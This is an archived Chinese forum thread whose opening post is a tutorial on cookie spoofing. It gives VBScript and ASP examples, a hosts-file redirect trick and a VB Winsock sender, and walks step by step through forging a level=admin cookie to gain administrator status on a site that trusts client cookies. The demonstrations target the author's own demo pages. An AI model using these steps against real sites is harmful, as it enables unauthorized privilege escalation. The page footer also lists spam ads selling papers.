24小时热门版块排行榜    

Znn3bq.jpeg
查看: 375  |  回复: 4
当前主题已经存档。

pioneercpu

[交流] cookie欺骗教程

cookie欺骗教程

首先大家明白什么是COOKIE,具体点说如果是98那么它们默认存放在C:\windows\cookies目录下,如果是2k它们在C:\Documents and Settings\%你的用户名%\Cookies目录下(每个文件都不会超过4KB)它们的文件名格式为:你的用户名@产生的COOKIE的网页文件所在的WEB目录[COOKIE改变的次数].txt
唉,很早就想点关于COOKIE的东东了,主要是网上有不少文章说半天其实也没有多少实质的东西。

首先大家明白什么是COOKIE,具体点说如果是98那么它们默认存放在C:\windows\cookies目录下,如果是2k它们在C:\Documents and Settings\%你的用户名%\Cookies目录下(每个文件都不会超过4KB)它们的文件名格式为:你的用户名@产生的COOKIE的网页文件所在的WEB目录[COOKIE改变的次数].txt

具体的例子:iwam_system@cookie[3].txt

再来看一看一个最简单的COOKIE文件的内容:
level
admin
www.locking.8u8.com/cookie/
0
1331699712
29536653
4044081984
29528196
*

最前面的两段为服务器产生的COOKIE内容(level和admin)第三段为产生这个COOKIE文件的网站的域名和WEB目录
这儿就要注意了没有记录产生COOKIE文件的文件名!所以在同一个目录下不同文件产生的COOKIE是同一个文件只是每
产生一次COOKIE的文件名的中括号里的数字就要加1,后面的那些就不管它了我也不懂哈

再来看看如何生成一个COOKIE我以vbs cript为例:


document.cookie="level" & "=" & "user" & ";expires=Monday, 01-Jan-03 12:00:00 GMT"
msgbox document.cookie


这儿我们特别人注意的是最后一段 ";expires=Monday, 01-Jan-03 12:00:00 GMT"这是用来说明产生的COOKIE文件的
有效时间的,如果没有那么这个COOKIE你将不会在本文开头所说的目录里找到它。这个例子中有效时间是2003年当然你

也就能在本地硬盘上找到它们了。
另外当用document.cookie来得到COOKIE内容时设置COOKIE有效时间这一段将被忽略(当然这也方便了网站的COOKIE

*作)比如说上面将弹出一个内容为 level=user的对话框

好了现在我们来实战一下:
我的网站叫www.locking.8u8.com在它的COOKIE目录里有两个文件一个是admin1.htm内容就是上面的例子
还有一个文件叫level1.htm内容如下:

co=document.cookie
le=mid(co,instr(co,"="+1,len(co)-instr(co,"="+1)
if le="user" then
msgbox "you are a user"
else
if le="admin" then
msgbox "you are a administrator"
else
msgbox "you not login"
end if
end if


当你先浏览admin1.htm后再浏览level1.htm时将弹出一个对话框内容为:"you are a user",当你没有浏览过
admin1.htm而直接浏览level1.htm将说 "you not login" (注意有的人可能会先浏览admin1.htm后再直接在硬盘
上更改COOKIE的内容当然这样是不行的)

好了我们的目标就是让我们能在浏览level1时弹个框框说 "you are a administrator"
办法只有两个咯:1)把8u8黑了,然后找到那个level1.htm改了不就可以了不过本篇文章不做讨论哈
2)进行COOKIE欺骗,OK LET GO:)

-----------------------------------(我的系统环境一台2kserver+iis5)
第一步:自已做一个文件名叫admin2.htm吧内容如下

document.cookie="level" & "=" & "admin" & ";expires=Monday, 01-Jan-03 12:00:00 GMT"

然后把它放入一个名叫COOKIE的可浏览目录中(COOKIE要位于根目录)

第二步:找到位于C:\WINNT\system32\drivers\etc下的hosts文件在它的后面加上如下一段:

127.0.0.1 www.locking.8u8.com

第三步:仿问www.locking.8u8.com/cookie/admin2.htm(这儿实际是仿问的本机的文件)

第四步:删除hosts中刚才我们添加的内容然后再清掉IE的历史记录

第五步:让我们再次仿问www.locking.8u8.com/cookie/level1.htm

怎么样我们现在是 administrator了吧(注意仿问网站是一定要在前面加三个w)
在上一节中我所举的例子是一个存活期很长的COOKIE,对于这种
COOKIE他会生成在我们的本地盘上的,而对于那些关闭浏览器就失效
的COOKIE我们该怎样来进行欺骗伪造呢?
首先我们应该知道在我第一节的例子中弹那个"you are a administrator"
框框的网页(level1.htm)其实是下载在我的本地然后执行的,也就是说
他对COOKIE的检验读取也是在本地,那如果是在远程服务器上呢?比如
一个ASP程序他又是如何读取我们的COOKIE的呢?
先来看看基本的东东吧:当我们使用HTTP协议向远程主机发送一个
GET或是POST请求时,那么如果有这个域名的COOKIE存在(不管是在内存中
还是本地盘上的)都将和请求一起发送到服务器去.

下面的就是一个实际的例子:

GET /ring/admin.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive
Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM

看到最后一行了吧

然后我们再来看看服务器是如何进行COOKIE检验的,我举了一个简单的例子:
有两个ASP文件一个叫admin.asp,还有一个叫level.asp

-----------admin.asp------------------
<%response.write now()%>
<%response.write "
"%>
<%response.cookies("level"="user"%>
<%response.write "document.write(document.cookie);"%>

-----------cut here-------------------

-----------level.asp------------------
<%
if Request.Cookies("level"<>"" then
response.write "document.write(document.cookie);"
if request.cookies("level"="user" then
response.write "'you are a user');"
else
if request.cookies("level"="admin" then
response.write "'you are administrator!');"
set fso1=server.createobject("s cripting.filesystemobject"
set fil=fso1.opentextfile("d:\sms\ring\a.txt",8,true)
fil.writeline "you are admin!"
end if
end if
else
response.write "'you are not login');"
end if
%>
-----------cut here-------------------

说明:当你请求admin.asp时,将产生一个临时的COOKIE(你关闭浏览器就会失效),然后我们不关闭浏览器而
请求level.asp时它就会用request.cookies来提取你发出的请求里面的cookie,如果你的COOKIE里面的内容是
admin的话那么它将用fso对象在服务器产生一个记录文件(a.txt要注意的是我们在实验时要把目录设为可写)

好了就介绍这么多吧,我们的目的就是让服务器产生a.txt并写入内容"you are admin"还是进行上一节的
域名欺骗吗?不是让我们写一个winsocket程序吧,Let G)

下面是我们VB+WINSCOKET控件写的一个简单的例子的源代码:

-----------------------COOKIE SEND---------------------------------------
Private Sub Command1_Click()
Winsock1.RemotePort = Text3.Text '远程主机打开的端口一般都为80
Winsock1.RemoteHost = Text2.Text '远程主机的域名也可以输IP
Winsock1.Connect '打开一个SOCKET连接
Command1.Enabled = False '一次只能打开一个连接所以要让SEND按钮失效
End Sub

Private Sub winsock1_Connect()
Winsock1.SendData Text1.Text '打开连接成功的话就发送数据
End Sub

Private Sub Command2_Click()
Winsock1.Close
Command1.Enabled = True '关闭连接,让SEND按钮有效
End Sub


Private Sub winsock1_DataArrival(ByVal bytesTotal As Long) '接收数据,可以让我们检查数据是否发送成功
Dim tmpstr As String
Winsock1.GetData tmpstr
Text4.Text = tmpstr
End Sub

-----------------------CUT HERE--------------------------------------------

好,再让我们看一看具体的过程吧:这儿要用到一个不错的程序WinSock Expert v0.3 beta 1

一步:打开一个IE然后再打开winsock expert选择监视刚才打开的IE窗口的数据包
二步: 在IE地址栏输http://61.139.xx.xx/ring/admin.asp,那个我将看到发出了如下数据

GET /ring/admin.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive

不要半闭窗口请http://61.139.xx.xx/ring/level.asp,我们又将看到发出了如下数据

GET /ring/level.asp HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
Host: 61.139.xx.xx
Connection: Keep-Alive
Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM

三步: 好了对第二次发出的数据的最后一行Cookie: level=user; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM
就是我们要改的东东,由于level.asp中相应的COOKIE的检验语句为if request.cookies("level"="admin" then
所以我们只要把上面的数据的最后一行改成Cookie: level=admin; ASPSESSIONIDSSTCRACS=ODMLKJMCOCJMNJIEDFLELACM
就可以了,后面的东东很重要下面我再说明一下

四步: 把改过的数据拷到我编的程序的发送框里面输入端口和域名后。。。。。

五步:到服务器看看是不是生成了那个a.txt里面的内容为"you are admin

[ Last edited by pioneercpu on 2005-5-28 at 14:48 ]
回复此楼
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖

pupil

银虫 (小有名气)

1

辛苦了,谢谢提供。
2楼2005-05-28 15:53:19
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖

wwweeerrr

捐助贵宾 (著名写手)

1

隔行如隔山,看不懂。
3楼2005-05-28 19:20:42
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖

0.5

4楼2005-05-29 17:29:52
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖

1

5楼2005-06-07 15:39:36
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖
相关版块跳转 我要订阅楼主 pioneercpu 的主题更新
普通表情 高级回复 (可上传附件)
最具人气热帖推荐 [查看全部] 作者 回/看 最后发表
[考博] 化学专业申博 +3 赵子羊 2026-05-23 4/200 2026-05-24 18:10 by 工大学长
[硕博家园] 售SCI一区T0P文章,我:8.O.5.5.1.O.5.4,科目齐全,可+急 +3 1rx34o113h 2026-05-23 3/150 2026-05-24 17:41 by 0i3mu4vkjz
[基金申请] 评审有感 +16 popular289 2026-05-18 27/1350 2026-05-24 17:34 by hhs666
[教师之家] 论文撤稿了 +4 bjvtcliu 2026-05-24 7/350 2026-05-24 17:29 by bjvtcliu
[硕博家园] 售SCI一区T0P文章,我:8.O.5.5.1.O.5.4,科目齐全,可+急 +4 hvkbtfonbv 2026-05-23 4/200 2026-05-24 17:21 by 75ui6h7z2t
[博后之家] 售SCI一区T0P文章,我:8.O.5.5.1.O.5.4,科目齐全,可+急 +3 hvkbtfonbv 2026-05-23 3/150 2026-05-24 17:10 by 75ui6h7z2t
[考博] 售SCI一区T0P文章,我:8.O.5.5.1.O.5.4,科目齐全,可+急 +3 hvkbtfonbv 2026-05-23 3/150 2026-05-24 17:01 by 75ui6h7z2t
[论文投稿] 售SCI一区T0P文章,我:8.O.5.5.1.O.5.4,科目齐全,可+急 +3 a2tycdlnq1 2026-05-23 4/200 2026-05-24 16:16 by hhx1yx9evi
[硕博家园] 售SCI一区T0P文章,我:8.O.5.5.1.O.5.4,科目齐全,可+急 +4 pmo95bazuy 2026-05-23 8/400 2026-05-24 15:56 by 1uy1ht2y9r
[基金申请] 西安交大新媒学院副院长用撤稿论文结题 +3 bjvtcliu 2026-05-24 5/250 2026-05-24 10:16 by kudofaye
[教师之家] 某211大学教师把个人教师官方主页改成:我跑了我跑了我跑了!官宣跑路! +4 zju2000 2026-05-21 5/250 2026-05-24 09:35 by songwz
[考博] 26/27申博自荐 10+4 ZXW0202 2026-05-22 9/450 2026-05-24 08:47 by bjvtcliu
[基金申请] 青B发送上会通知了吗 +5 chemBioBro 2026-05-22 7/350 2026-05-23 12:35 by zhuifengzhy
[考博] 博士申请 +3 焦晓明 2026-05-21 3/150 2026-05-23 11:26 by mlc840311
[文学芳草园] 献血感触 +7 呀呀好傻 2026-05-19 13/650 2026-05-21 20:15 by 呀呀好傻
[基金申请] 国自然评分 +4 无名者登山 2026-05-20 5/250 2026-05-21 16:35 by swuq
[基金申请] 国自然上会要求 +7 无名者登山 2026-05-18 11/550 2026-05-21 15:50 by draco1987
[基金申请] 提交了我也来说说感想 +9 fummck 2026-05-20 10/500 2026-05-21 14:17 by draco1987
[有机交流] 反应很差,大量原料没有反应 5+3 Mr.Zot 2026-05-19 8/400 2026-05-20 22:19 by Equinoxhua
[考博] 博士申请 +5 星…… 2026-05-18 6/300 2026-05-18 23:49 by 糊糊涂涂好
信息提示
请填处理意见